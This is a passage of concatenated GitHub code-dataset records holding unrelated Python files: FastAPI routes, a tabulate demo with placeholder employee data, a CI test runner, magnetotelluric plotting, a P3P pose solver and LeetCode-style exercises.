toApi(self):\n self.api={'id': self.id, 'answer': self.answer,'time': self.time}\n return self.api\n def fromApi(self,api):\n print(api)\n try:\n self.id=api['id'] \n except:\n self.id=0 \n try:\n self.answer= api['answer'] \n except:\n self.answer=''\n try:\n self.time= api['time'] \n except:\n self.time='' \n return True\n def check(self):\n if(checkResponse(self.id) and checkResponse(self.answer)):\n return True\n return False","repo_name":"peter1421/Q-A","sub_path":"model/Answer.py","file_name":"Answer.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"13161046793","text":"# list of all posts in classroom\n# new post (instructor, owner)\n# edit post by id (owner, or creator of post)\nfrom fastapi import APIRouter\nfrom api.utils.current_classroom import RC_sp_Dep, RC_ip_Dep, RC_o_Dep\nfrom api.models.post import Post, PostIn, PostOut\nfrom typing import List\nfrom beanie import PydanticObjectId\nfrom datetime import datetime\nfrom api.utils.exceptions import post_not_found_exc\n\nrouter = APIRouter(prefix=\"/posts\", tags=[\"Posts\"])\n\n\n@router.get(\"/all\")\nasync def all_posts(rc: RC_sp_Dep) -> List[PostOut]:\n return (\n await Post.find(Post.classroom.id == rc.classroom.id).project(PostOut).to_list()\n )\n\n\n# @router.get(\"/edit\")\n# async def edit_post(rc:)\n\n\n# /new\n@router.post(\"/new\")\nasync def create_new_post(rc: RC_ip_Dep, post_in: PostIn) -> PydanticObjectId:\n now = datetime.now()\n post = Post(**post_in.dict(), created=now, last_updated=now, classroom=rc.classroom)\n await post.insert()\n return post.id\n\n\n@router.post(\"/edit/{post_id}\")\nasync def edit_post(\n rc: RC_o_Dep, post_id: PydanticObjectId, post_in: PostIn\n) -> PydanticObjectId:\n post = await Post.find_one(Post.id == post_id, Post.classroom.id == rc.classroom.id)\n if not post:\n raise post_not_found_exc\n # if not post.classroom.id == rc.classroom.id:\n # raise\n post = post.copy(update=post_in.dict(exclude_unset=True))\n await post.save()\n return post.id\n","repo_name":"avabodha-space/backend-api","sub_path":"api/routers/posts.py","file_name":"posts.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"20293961082","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = \"ipetrash\"\n\n\n# pip install tabulate\nfrom tabulate import tabulate\n\n\nheaders = [\n \"id\",\n \"url\",\n \"name\",\n \"short_name\",\n \"birthday\",\n \"job\",\n \"department\",\n \"photo\",\n \"work_phone\",\n \"mobile_phone\",\n \"email\",\n]\nrows = [\n [\n \"#1\",\n \"http://amiller.example.com\",\n \"Andrew Miller\",\n \"amiller\",\n \"11 December\",\n \"Testing Engineer\",\n \"CD, Product Support Service\",\n \"amiller.jpg\",\n \"888888888888\",\n \"\",\n \"amiller@example.com\",\n ],\n [\n \"#2\",\n \"http://ataylor.example.com\",\n \"Anthony Taylor\",\n \"ataylor\",\n \"17 July\",\n \"Software Engineer\",\n \"CD, Product Support Service\",\n \"ataylor.jpg\",\n \"\",\n \"\",\n \"ataylor@example.com\",\n ],\n [\n \"#3\",\n \"http://dmoore.example.com\",\n \"Daniel Moore\",\n \"dmoore\",\n \"2 March\",\n \"Testing Engineer\",\n \"CD, Product Support Service\",\n \"dmoore.jpg\",\n \"\",\n \"\",\n \"dmoore@example.com\",\n ],\n [\n \"#4\",\n \"http://dsmith.example.com\",\n \"David Smith\",\n \"dsmith\",\n \"5 January\",\n \"Testing Engineer\",\n \"Processing Services Division\",\n \"dsmith.jpg\",\n \"\",\n \"\",\n \"dsmith@example.com\",\n ],\n [\n \"#5\",\n \"http://awilson.example.com\",\n \"Alexander Wilson\",\n \"awilson\",\n \"11 April\",\n \"Software Engineer\",\n \"CD, Product Support Service\",\n \"awilson.jpg\",\n \"\",\n \"\",\n \"awilson@example.com\",\n ],\n [\n \"#6\",\n \"http://asmith.example.com\",\n \"Alexander Smith\",\n \"asmith\",\n \"3 November\",\n \"Testing Engineer\",\n \"CD, Product Support Service\",\n \"asmith.jpg\",\n \"\",\n \"\",\n \"asmith@example.com\",\n ],\n [\n \"#7\",\n \"http://jdavis.example.com\",\n \"Jayden Davis\",\n \"jdavis\",\n \"10 April\",\n \"Shift Engineer\",\n \"BSD, Presale Solution Bureau\",\n \"jdavis.jpg\",\n \"\",\n \"\",\n \"jdavis@example.com\",\n ],\n [\n \"#8\",\n \"http://jdavis.example.com\",\n \"Jacob Davis\",\n \"jdavis\",\n \"5 July\",\n \"Shift Engineer\",\n \"DD, Technical Translation Bureau\",\n \"jdavis.jpg\",\n \"\",\n \"\",\n \"jdavis@example.com\",\n ],\n [\n \"#9\",\n \"http://ejones.example.com\",\n \"Ethan Jones\",\n \"ejones\",\n \"14 September\",\n \"Software Engineer\",\n \"BSD, Presale Solution Bureau\",\n \"ejones.jpg\",\n \"\",\n \"\",\n \"ejones@example.com\",\n ],\n [\n \"#10\",\n \"http://abrown.example.com\",\n \"Angel Brown\",\n \"abrown\",\n \"15 April\",\n \"Testing Engineer\",\n \"Processing Services Division\",\n \"abrown.jpg\",\n \"\",\n \"\",\n \"abrown@example.com\",\n ],\n [\n \"#11\",\n \"http://dwilliams.example.com\",\n \"David Williams\",\n \"dwilliams\",\n \"23 November\",\n \"Application Developer\",\n \"DD, Technical Translation Bureau\",\n \"dwilliams.jpg\",\n \"\",\n \"\",\n \"dwilliams@example.com\",\n ],\n [\n \"#12\",\n \"http://ddavis.example.com\",\n \"Daniel Davis\",\n \"ddavis\",\n \"5 September\",\n \"Shift Engineer\",\n \"DD, Technical Translation Bureau\",\n \"ddavis.jpg\",\n \"\",\n \"\",\n \"ddavis@example.com\",\n ],\n [\n \"#13\",\n \"http://ntaylor.example.com\",\n \"Nathan Taylor\",\n \"ntaylor\",\n \"16 February\",\n \"Shift Engineer\",\n \"BSD, Presale Solution Bureau\",\n \"ntaylor.jpg\",\n \"\",\n \"\",\n \"ntaylor@example.com\",\n ],\n [\n \"#14\",\n \"http://dtaylor.example.com\",\n \"Daniel Taylor\",\n \"dtaylor\",\n \"10 March\",\n \"Application Developer\",\n \"DD, Technical Translation Bureau\",\n \"dtaylor.jpg\",\n \"\",\n \"\",\n \"dtaylor@example.com\",\n ],\n [\n \"#15\",\n \"http://jbrown.example.com\",\n \"Jayden Brown\",\n \"jbrown\",\n \"1 January\",\n \"Software Engineer\",\n \"DD, Technical Translation Bureau\",\n \"jbrown.jpg\",\n \"\",\n \"\",\n \"jbrown@example.com\",\n ],\n [\n \"#16\",\n \"http://asmith.example.com\",\n \"Andrew Smith\",\n \"asmith\",\n \"9 August\",\n \"Software Engineer\",\n \"CD, Product Support Service\",\n \"asmith.jpg\",\n \"\",\n \"\",\n \"asmith@example.com\",\n ],\n [\n \"#17\",\n \"http://jsmith.example.com\",\n \"Jayden Smith\",\n \"jsmith\",\n \"8 April\",\n \"Testing Engineer\",\n \"BSD, Presale Solution Bureau\",\n \"jsmith.jpg\",\n \"\",\n \"\",\n \"jsmith@example.com\",\n ],\n [\n \"#18\",\n \"http://asmith.example.com\",\n \"Alexander Smith\",\n \"asmith\",\n \"7 November\",\n \"Shift Engineer\",\n \"Processing Services Division\",\n \"asmith.jpg\",\n \"\",\n \"\",\n \"asmith@example.com\",\n ],\n [\n \"#19\",\n \"http://dbrown.example.com\",\n \"David Brown\",\n \"dbrown\",\n \"20 October\",\n \"Shift Engineer\",\n \"Processing Services Division\",\n \"dbrown.jpg\",\n \"\",\n \"\",\n \"dbrown@example.com\",\n ],\n [\n \"#20\",\n \"http://nwilliams.example.com\",\n \"Nathan Williams\",\n \"nwilliams\",\n \"9 March\",\n \"Shift Engineer\",\n \"CD, Product Support Service\",\n \"nwilliams.jpg\",\n \"\",\n \"\",\n \"nwilliams@example.com\",\n ],\n [\n \"#21\",\n \"http://dtaylor.example.com\",\n \"Daniel Taylor\",\n \"dtaylor\",\n \"5 April\",\n \"Shift Engineer\",\n \"CD, Product Support Service\",\n \"dtaylor.jpg\",\n \"\",\n \"\",\n \"dtaylor@example.com\",\n ],\n [\n \"#22\",\n \"http://nmoore.example.com\",\n \"Nathan Moore\",\n \"nmoore\",\n \"14 July\",\n \"Testing Engineer\",\n \"DD, Technical Translation Bureau\",\n \"nmoore.jpg\",\n \"\",\n \"\",\n \"nmoore@example.com\",\n ],\n [\n \"#23\",\n \"http://ewilson.example.com\",\n \"Ethan Wilson\",\n \"ewilson\",\n \"7 September\",\n \"Software Engineer\",\n \"CD, Product Support Service\",\n \"ewilson.jpg\",\n \"\",\n \"\",\n \"ewilson@example.com\",\n ],\n [\n \"#24\",\n \"http://awilson.example.com\",\n \"Angel Wilson\",\n \"awilson\",\n \"5 December\",\n \"Application Developer\",\n \"BSD, Presale Solution Bureau\",\n \"awilson.jpg\",\n \"\",\n \"\",\n \"awilson@example.com\",\n ],\n [\n \"#25\",\n \"http://abrown.example.com\",\n \"Angel Brown\",\n \"abrown\",\n \"21 October\",\n \"Shift Engineer\",\n \"BSD, Presale Solution Bureau\",\n \"abrown.jpg\",\n \"\",\n \"\",\n \"abrown@example.com\",\n ],\n]\n\nprint(tabulate(rows, headers=headers, tablefmt=\"grid\"))\n\nprint(\"\\n\")\n\n# Without header\nrows = [\n [\"randint(x)\", \"Return a random int below x\"],\n [\"rand()\", \"Return a random float between 0 and 1\"],\n [\"int(x)\", \"Convert x to an int.\"],\n [\"float(x)\", \"Convert x to a float.\"],\n [\"str(x)\", \"Convert x to a str (unicode in py2)\"],\n]\nprint(tabulate(rows, headers=[], tablefmt=\"grid\"))\n","repo_name":"gil9red/SimplePyScripts","sub_path":"ascii_table__using_tabulate.py","file_name":"ascii_table__using_tabulate.py","file_ext":"py","file_size_in_byte":7600,"program_lang":"python","lang":"en","doc_type":"code","stars":141,"dataset":"github-code","pt":"5"} +{"seq_id":"20865126187","text":"#!/usr/bin/env -S python3 -u\n\n\"\"\"\nRun qa-tests-backend in a openshift 4 cluster provided via a hive cluster_claim.\n\"\"\"\nimport os\nfrom base_qa_e2e_test import make_qa_e2e_test_runner\nfrom clusters import OpenShiftScaleWorkersCluster\n\n# set required test parameters\nos.environ[\"DEPLOY_STACKROX_VIA_OPERATOR\"] = \"true\"\nos.environ[\"ORCHESTRATOR_FLAVOR\"] = \"openshift\"\nos.environ[\"ROX_POSTGRES_DATASTORE\"] = \"true\"\nos.environ[\"ROX_RISK_REPROCESSING_INTERVAL\"] = \"15s\"\nos.environ[\"ROX_SENSOR_CONNECTION_RETRY_MAX_INTERVAL\"] = \"30s\"\n\n# Scale up the cluster to support postgres\ncluster = OpenShiftScaleWorkersCluster(increment=1)\n\nmake_qa_e2e_test_runner(cluster=cluster).run()\n","repo_name":"stackrox/stackrox","sub_path":"scripts/ci/jobs/ocp_qa_e2e_tests.py","file_name":"ocp_qa_e2e_tests.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":1059,"dataset":"github-code","pt":"5"} +{"seq_id":"44878462971","text":"# Alberto Mendez 20220313\n\n#funciones (11 ma. en teams)\n\ndef R(x:float,y:float)-> float:\n\n if (x>0) and (y>0):\n return ((4/x)*y) + ((x**5)*(y**2))\n elif (x<0) and (y>0):\n return ((4/x)*-y) + ((x**5)*(y**2))\n elif (x>0) and (y<0):\n return ((4/-x)*y) + ((-x**5)*(y**2))\n elif (x<0) and (y<0):\n return ((4/x)*y) + ((x**5)*(-y**2))\n else:\n print('valor fuera del dominio de R')\n\nprint('R(x,y) = ' + str(\n R(\n float(input('ingrese un valor para x de R(x,y)')),\n float(input('ingrese un valor para y de R(x,y)'))\n)))","repo_name":"AlbertoPMDM/SegundoSemestre","sub_path":"program25.py","file_name":"program25.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3812409088","text":"#Given an array of N integers, and an integer K, find the number of pairs of elements in the array whose sum is equal to K.\n\n#Example:\n#Input:\n#N = 4, K = 6\n#arr[] = {1, 5, 7, 1}\n#Output: 2\n#Explanation: \n#arr[0] + arr[1] = 1 + 5 = 6 and arr[1] + arr[3] = 5 + 1 = 6.\n#https://www.youtube.com/watch?v=bvKMZXc0jQU\n\nfrom array import *\n\narr = array('i',[])\nn = int(input('Enter size of array:'))\n\nfor i in range(n):\n x = int(input('Enter array element:'))\n arr.append(x)\n\nsum = int(input('Enter the sum:'))\ncount = 0\n\nfor i in range(n):\n for j in range(i+1,n):\n if(arr[i]+arr[j] == sum):\n count+=1\n\nprint(count)","repo_name":"baibhabchakraborty/100DaysOfCode","sub_path":"arrays/countsumofpairs.py","file_name":"countsumofpairs.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36473353439","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 28 12:54:20 2016\n\n@author: jpeacock\n\"\"\"\n\nimport os\nimport matplotlib.pyplot as plt\nimport scipy.signal as sps\nimport mtpy.core.mt as mt\nimport numpy as np\nfrom matplotlib.ticker import MultipleLocator, FormatStrFormatter\n\nbase_path = r\"c:\\Users\\jpeacock\\Documents\\ShanesBugs\\Tongario_Hill\\original\"\npost_path = r\"c:\\Users\\jpeacock\\Documents\\ShanesBugs\\Tongario_Hill\\repeat\"\n\nedi_base_list = [\n os.path.join(base_path, edi)\n for edi in os.listdir(base_path)\n if edi.endswith(\".edi\")\n]\n\nedi_post_list = [\n os.path.join(post_path, edi)\n for edi in os.listdir(post_path)\n if edi.endswith(\".edi\")\n]\n\n# ==============================================================================\n# parameters\n# ==============================================================================\nns = len(edi_base_list)\nnr = 2 * ns\nnf = 40\nks = 11\npad = 3\ncomp_list = [\"phimin\", \"phimax\", \"azimuth\", \"skew\"]\nlimit_list = [(-3, 3), (-3, 3), (-5, 5), (-1, 1)]\n\n# ==============================================================================\n#\n# ==============================================================================\n\nbase_arr = np.zeros(\n ns,\n dtype=[\n (\"station\", \"|S10\"),\n (\"lat\", np.float),\n (\"lon\", np.float),\n (\"elev\", np.float),\n (\"rel_east\", np.float),\n (\"rel_north\", np.float),\n (\"east\", np.float),\n (\"north\", np.float),\n (\"zone\", \"|S4\"),\n (\"phimin\", (np.float, (nf))),\n (\"phimax\", (np.float, (nf))),\n (\"azimuth\", (np.float, (nf))),\n (\"skew\", (np.float, (nf))),\n ],\n)\n# ,\n# ('z_err', (np.complex, (nf, 2, 2))),\n# ('tip', (np.complex, (nf, 1, 2))),\n# ('tip_err', (np.complex, (nf, 1, 2)))])\n\npost_arr = np.zeros(\n ns,\n dtype=[\n (\"station\", \"|S10\"),\n (\"lat\", np.float),\n (\"lon\", np.float),\n (\"elev\", np.float),\n (\"rel_east\", np.float),\n (\"rel_north\", np.float),\n (\"east\", np.float),\n (\"north\", np.float),\n (\"zone\", \"|S4\"),\n (\"phimin\", (np.float, (nf))),\n (\"phimax\", (np.float, (nf))),\n (\"azimuth\", (np.float, (nf))),\n (\"skew\", (np.float, (nf))),\n ],\n)\n# ('z', (np.complex, (nf, 2, 2))),\n# ('z_err', (np.complex, (nf, 2, 2))),\n# ('tip', (np.complex, (nf, 1, 2))),\n# ('tip_err', (np.complex, (nf, 1, 2)))]\nfor ii, base_edi in enumerate(edi_base_list):\n mt_obj = mt.MT(base_edi)\n base_arr[ii][\"station\"] = mt_obj.station\n base_arr[ii][\"lat\"] = mt_obj.lat\n base_arr[ii][\"lon\"] = mt_obj.lon\n base_arr[ii][\"elev\"] = mt_obj.elev\n base_arr[ii][\"north\"] = mt_obj.north\n base_arr[ii][\"east\"] = mt_obj.east\n base_arr[ii][\"zone\"] = mt_obj.utm_zone\n base_arr[ii][\"phimin\"][:] = sps.medfilt(mt_obj.pt.phimin[0], kernel_size=ks)\n base_arr[ii][\"phimax\"][:] = sps.medfilt(mt_obj.pt.phimax[0], kernel_size=ks)\n base_arr[ii][\"azimuth\"][:] = sps.medfilt(mt_obj.pt.azimuth[0], kernel_size=ks)\n base_arr[ii][\"skew\"][:] = sps.medfilt(mt_obj.pt.beta[0], kernel_size=ks)\n\n# base_arr[ii]['z'][:, :, :] = mt_obj.Z.z\n# base_arr[ii]['z_err'][:, :, :] = mt_obj.Z.zerr\n# base_arr[ii]['tip'][:, :, :] = mt_obj.Tipper.tipper\n# base_arr[ii]['tip_err'][:, :, :] = mt_obj.Tipper.tippererr\n\nfor ii, post_edi in enumerate(edi_post_list):\n mt_obj = mt.MT(post_edi)\n post_arr[ii][\"station\"] = mt_obj.station\n post_arr[ii][\"lat\"] = mt_obj.lat\n post_arr[ii][\"lon\"] = mt_obj.lon\n post_arr[ii][\"elev\"] = mt_obj.elev\n post_arr[ii][\"north\"] = mt_obj.north\n post_arr[ii][\"east\"] = mt_obj.east\n post_arr[ii][\"zone\"] = mt_obj.utm_zone\n post_arr[ii][\"phimin\"][:] = sps.medfilt(mt_obj.pt.phimin[0], kernel_size=ks)\n post_arr[ii][\"phimax\"][:] = sps.medfilt(mt_obj.pt.phimax[0], kernel_size=ks)\n post_arr[ii][\"azimuth\"][:] = sps.medfilt(mt_obj.pt.azimuth[0], kernel_size=ks)\n post_arr[ii][\"skew\"][:] = sps.medfilt(mt_obj.pt.beta[0], kernel_size=ks)\n# post_arr[ii]['z'][:, :, :] = mt_obj.Z.z\n# post_arr[ii]['z_err'][:, :, :] = mt_obj.Z.zerr\n# post_arr[ii]['tip'][:, :, :] = mt_obj.Tipper.tipper\n# post_arr[ii]['tip_err'][:, :, :] = mt_obj.Tipper.tippererr\n\neast_arr = np.array(sorted(base_arr[\"east\"]))\nnorth_arr = np.array(sorted(base_arr[\"north\"]))\nlat_arr = np.array(sorted(base_arr[\"lat\"]))\nlon_arr = np.array(sorted(base_arr[\"lon\"]))\n\n# x_arr = np.linspace(lon_arr.min(), lon_arr.max(), num=2*ns)\n# y_arr = np.linspace(lat_arr.min(), lat_arr.max(), num=2*ns)\nx_arr = np.linspace(east_arr.min(), east_arr.max(), num=nr)\ny_arr = np.linspace(north_arr.min(), north_arr.max(), num=nr)\n\nx, y = np.meshgrid(x_arr, y_arr)\n\nf_arr = mt_obj.Z.freq.copy()\n\n\nfor ii, ff in enumerate(f_arr):\n fig = plt.figure(1, [6, 6], dpi=300)\n fig.clf()\n fig.subplots_adjust(\n left=0.1, right=0.95, top=0.9, bottom=0.1, hspace=0.2, wspace=0.15\n )\n\n for cc, comp, limits in zip(range(1, 5), comp_list, limit_list):\n test_arr = np.zeros((nr, nr))\n for b_arr in base_arr:\n for p_arr in post_arr:\n if b_arr[\"station\"][-3:-1] == p_arr[\"station\"][-3:-1]:\n jj = np.where(x_arr >= b_arr[\"east\"])[0][0]\n kk = np.where(y_arr >= b_arr[\"north\"])[0][0]\n # test_arr[kk, :] += b_arr[comp][ii]-p_arr[comp][ii]\n # test_arr[:, jj] += b_arr[comp][ii]-p_arr[comp][ii]\n test_arr[\n max([kk - pad, 0]) : min([kk + pad, nr]),\n max([jj - pad, 0]) : min([jj + pad, nr]),\n ] += (b_arr[comp][ii] - p_arr[comp][ii])\n continue\n\n ax = fig.add_subplot(2, 2, cc, aspect=\"equal\")\n\n # im = ax.imshow(sps.medfilt2d(test_arr, kernel_size=(5, 5)),\n # im = ax.imshow(test_arr,\n # origin='lower',\n # extent=(lon_arr.min()*.99995, lon_arr.max()*1.00005,\n # lat_arr.min()*1.0001, lat_arr.max()*.99995),\n # vmin=limits[0],\n # vmax=limits[1],\n # cmap='jet')\n im = ax.pcolormesh(\n (x - x.mean()) / 1000.0,\n (y - y.mean()) / 1000.0,\n sps.medfilt2d(test_arr, kernel_size=(ks, ks)),\n vmin=limits[0],\n vmax=limits[1],\n cmap=\"jet_r\",\n )\n plt.colorbar(im, ax=ax)\n\n for b_arr in base_arr:\n # ax.scatter(b_arr['lon'], b_arr['lat'],\n # marker='v', s=20, c='k')\n ax.scatter(\n (b_arr[\"east\"] - x.mean()) / 1000.0,\n (b_arr[\"north\"] - y.mean()) / 1000.0,\n marker=\"v\",\n s=20,\n c=\"k\",\n )\n if cc == 3 or cc == 4:\n # ax.set_xlabel('Longitude (deg)',\n # fontdict={'size':8, 'weight':'bold'})\n ax.set_xlabel(\"Easting (km)\", fontdict={\"size\": 8, \"weight\": \"bold\"})\n if cc == 1 or cc == 3:\n # ax.set_ylabel('Latitude(deg)',\n # fontdict={'size':8, 'weight':'bold'})\n ax.set_ylabel(\"Northing (km)\", fontdict={\"size\": 8, \"weight\": \"bold\"})\n ax.xaxis.set_major_formatter(FormatStrFormatter(\"%.2f\"))\n ax.yaxis.set_major_formatter(FormatStrFormatter(\"%.2f\"))\n # ax.xaxis.set_major_locator(MultipleLocator(1000.))\n # ax.yaxis.set_major_locator(MultipleLocator(1000.))\n ax.set_title(comp, {\"size\": 9, \"weight\": \"bold\"})\n ax.axis(\"tight\")\n fig.suptitle(\n \"Difference for {0:.5g} s\".format(1.0 / ff),\n fontdict={\"size\": 10, \"weight\": \"bold\"},\n )\n plt.tight_layout()\n plt.show()\n fig.savefig(\n r\"c:\\Users\\jpeacock\\Documents\\ShanesBugs\\Tongario_Hill\\plots\\{0:02}_TNG_diff.png\".format(\n ii\n ),\n dpi=300,\n )\n","repo_name":"kujaku11/sandbox_scripts","sub_path":"hill_compare_tongario_response.py","file_name":"hill_compare_tongario_response.py","file_ext":"py","file_size_in_byte":8228,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"72569243353","text":"import numpy as np\nfrom math import *\nfrom copy import copy, deepcopy\nfrom est_pixel_world import est_pixel_world\n\ndef P3P(Pc, Pw, K=np.eye(3)):\n \"\"\"\n Solve Perspective-3-Point problem, given correspondence and intrinsic\n\n Input:\n Pc: 4x2 numpy array of pixel coordinate of the April tag corners in (x,y) format\n Pw: 4x3 numpy array of world coordinate of the April tag corners in (x,y,z) format\n Returns:\n R: 3x3 numpy array describing camera orientation in the world (R_wc)\n t: (3,) numpy array describing camera translation in the world (t_wc)\n\n \"\"\"\n #Spagetti time\n #Small p is World coordinate\n #u,v is Pixel\n\n #Single Shot Callibration based on pinhole camera model\n P = (np.column_stack((Pc,np.ones((4,1)))).T)*K[0][0]\n\n\n j = np.dot(np.linalg.inv(K),P)\n j1,j2,j3 = j[:,0],j[:,1],j[:,2]\n \n #Everything below is derived from paper - Review and Analysis of Solutions of the Three Point Perspective Pose Estimation Problem\n j1 = j1/np.linalg.norm(j1)\n j2 = j2/np.linalg.norm(j2)\n j3 = j3/np.linalg.norm(j3)\n \n #Get cosines for cosine law\n cos_alpha = np.dot(j2,j3.T)\n cos_beta = np.dot(j1,j3.T)\n cos_gamma = np.dot(j1,j2.T)\n\n #\n a = np.linalg.norm(Pw[1,:]-Pw[2,:]) #p2-p3\n b = np.linalg.norm(Pw[0,:]-Pw[2,:])\n c = np.linalg.norm(Pw[0,:]-Pw[1,:])\n\n\n #Variable for something that was occuring a lot of times\n inter = (a*a - c*c)/b**2\n\n #Coeffs\n A4 = (inter-1)**2 - 4*c*c*(cos_alpha**2)/(b*b)\n A3 = 4*( (inter)*(1 - inter)*cos_beta - (1 - (a**2+c**2)/b**2)*cos_alpha*cos_gamma + 2*c*c*cos_alpha*cos_alpha*cos_beta/b**2 )\n\n\n \n A2 = 2*( (inter)**2 - 1 + 2*(inter*inter)*cos_beta*cos_beta + 2*(b**2 - c**2)*cos_alpha*cos_alpha/b**2 - 4*((a*a + c*c)/b**2)*cos_alpha*cos_beta*cos_gamma + 2*cos_gamma*cos_gamma*(b*b - a*a)/b**2 )\n A1 = 4*( -(inter)*(1+inter)*cos_beta + 2*a*a*cos_gamma*cos_gamma*cos_beta/b**2 - (1 - (a*a + c*c)/b**2)*cos_alpha*cos_gamma )\n A0 = (1+inter)**2 - 4*a*a*cos_gamma**2/b**2\n\n #Get the roots\n all_roots = np.roots([A4, A3, A2, A1, A0])\n\n #Get real roots\n all_roots_real = all_roots.real[abs(all_roots.imag)<1e-5]\n\n #Get positive real roots\n roots_real_postive = all_roots_real[all_roots_real>0]\n\n #Minimization of error\n min_error = 0\n i = 0 #lets track index as well\n\n #Get rotations and translations\n R_final = np.eye(3)\n t_final = np.ones((3,))\n\n #For each root remaininig - should be 2\n for v in roots_real_postive:\n u = (-1+inter)*v*v - 2*cos_beta*v*(inter) + 1 + inter\n u = u/(2*(cos_gamma-v*cos_alpha))\n \n #get depth 1\n denom = u*u + v*v - 2*u*v*cos_alpha\n s1 = sqrt(a*a/denom)\n #other depths\n s2 = u*s1\n s3 = v*s1\n\n #Reproject - Recalculated again for debugging purpose\n norm_p1 = np.linalg.norm(np.array([Pc[0,0] - K[0][2],Pc[0,1] - K[1][2],K[0][0]]))\n norm_p2 = np.linalg.norm(np.array([Pc[1,0] - K[0][2],Pc[1,1] - K[1][2],K[0][0]]))\n norm_p3 = np.linalg.norm(np.array([Pc[2,0] - K[0][2],Pc[2,1] - K[1][2],K[0][0]]))\n norm_p4 = np.linalg.norm(np.array([Pc[3,0] - K[0][2],Pc[3,1] - K[1][2],K[0][0]]))\n\n\n #Points\n A = np.array([[s1*(Pc[0,0]-K[0][2])/norm_p1,s1*(Pc[0,1]-K[1][2])/norm_p1,s1*K[0][0]/norm_p1],\n [s2*(Pc[1,0]-K[0][2])/norm_p2,s2*(Pc[1,1]-K[1][2])/norm_p2,s2*K[0][0]/norm_p2],\n [s3*(Pc[2,0]-K[0][2])/norm_p3,s3*(Pc[2,1]-K[1][2])/norm_p3,s3*K[0][0]/norm_p3]])\n\n #Get R and t\n R,t = Procrustes(A,Pw[0:3])\n\n\n #\n Pc_projected = Pw[-1,:]\n\n #Calibrated coordinates\n Pc_real = K[0][0]*np.dot(np.linalg.inv(K),np.array([Pc[-1,0], Pc[-1,1], 1]).T)\n Pc_real = np.dot(R,Pc_real)+t\n\n #Error between pixels and world \n error = np.linalg.norm((Pc_projected - Pc_real))\n\n if i==0:\n min_error = error\n R_final = deepcopy(R)\n t_final = deepcopy(t)\n else:\n if error<min_error:\n error = min_error\n R_final = deepcopy(R)\n t_final = deepcopy(t)\n\n i += 1\n\n #Take the final Rs and ts\n R = R_final\n t = t_final\n\n\n return R, t\n\ndef Procrustes(X, Y):\n \"\"\"\n Solve Procrustes: Y = RX + t\n\n Input:\n X: Nx3 numpy array of N points in camera coordinate (returned by your P3P)\n Y: Nx3 numpy array of N points in world coordinate\n Returns:\n R: 3x3 numpy array describing camera orientation in the world (R_wc)\n t: (3,) numpy array describing camera translation in the world (t_wc)\n\n \"\"\"\n\n A = deepcopy(Y)\n B = deepcopy(X)\n\n B_bar = np.mean(B, axis = 0)\n A_bar = np.mean(A, axis = 0)\n\n B = np.transpose(B - B_bar)\n A = np.transpose(A - A_bar)\n\n U,_,Vt = np.linalg.svd(np.dot(A,B.T))\n\n det_UVt = np.linalg.det(np.dot(Vt.T,U.T))\n intermediate_diagonal_matrix = np.array([[1,0,0],[0,1,0],[0,0,det_UVt]])\n \n R = np.dot(U,np.dot(intermediate_diagonal_matrix,Vt))\n\n t = A_bar - np.dot(R,B_bar)\n\n\n\n return R, t\n","repo_name":"git-dhruv/Perception-Projects","sub_path":"Augmented Reality/code/solve_p3p.py","file_name":"solve_p3p.py","file_ext":"py","file_size_in_byte":5117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15907781488","text":"\"\"\"\n * 给你两个整数 m 和 n ,表示一个下标从 0 开始的 m x n 的网格图。\n * 给你一个下标从 0 开始的二维整数矩阵 coordinates ,其中 coordinates[i] = [x, y] 表示坐标为 [x, y] 的格子是 黑色的 ,所有没出现在 coordinates 中的格子都是 白色的。\n * 一个块定义为网格图中 2 x 2 的一个子矩阵。更正式的,对于左上角格子为 [x, y] 的块,其中 0 <= x < m - 1 且 0 <= y < n - 1 ,包含坐标为 [x, y] ,[x + 1, y] ,[x, y + 1] 和 [x + 1, y + 1] 的格子。\n * 请你返回一个下标从 0 开始长度为 5 的整数数组 arr ,arr[i] 表示恰好包含 i 个 黑色 格子的块的数目。\n * 提示:\n * 1、2 <= m <= 10^5\n * 2、2 <= n <= 10^5\n * 3、0 <= coordinates.length <= 10^4\n * 4、coordinates[i].length == 2\n * 5、0 <= coordinates[i][0] < m\n * 6、0 <= coordinates[i][1] < n\n * 7、coordinates 中的坐标对两两互不相同。\n * 链接:https://leetcode.cn/problems/number-of-black-blocks/\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n\n def countBlackBlocks(self, m: int, n: int, coordinates: List[List[int]]) -> List[int]:\n s = set([(x, y) for x, y in coordinates])\n ans = [(m - 1) * (n - 1), 0, 0, 0, 0]\n\n for x, y in coordinates:\n # 左上角\n if x < m - 1 and y < n - 1:\n c = sum([1 for dx, dy in [(0, 1), (1, 1), (1, 0)] if (x + dx, y + dy) in s]) + 1\n if c:\n ans[c] += 1\n ans[0] -= 1\n # 右上角\n if x < m - 1 and y > 0 and (x, y - 1) not in s:\n c = sum([1 for dx, dy in [(1, -1), (1, 0)] if (x + dx, y + dy) in s]) + 1\n if c:\n ans[c] += 1\n ans[0] -= 1\n # 左下角\n if x > 0 and y < n - 1 and (x - 1, y) not in s and (x - 1, y + 1) not in s:\n c = sum([1 for dx, dy in [(0, 1)] if (x + dx, y + dy) in s]) + 1\n if c:\n ans[c] += 1\n ans[0] -= 1\n # 右下角\n if x > 0 and y > 0 and (x - 1, y) not in s and (x - 1, y - 1) not in s and (x, y - 1) not in s:\n ans[1] += 1\n ans[0] -= 1\n return ans\n\n\nif __name__ == '__main__':\n # [0,2,2,0,0]\n print(Solution().countBlackBlocks(3, n=3, coordinates=[[0, 0], [1, 1], [0, 2]]))\n # 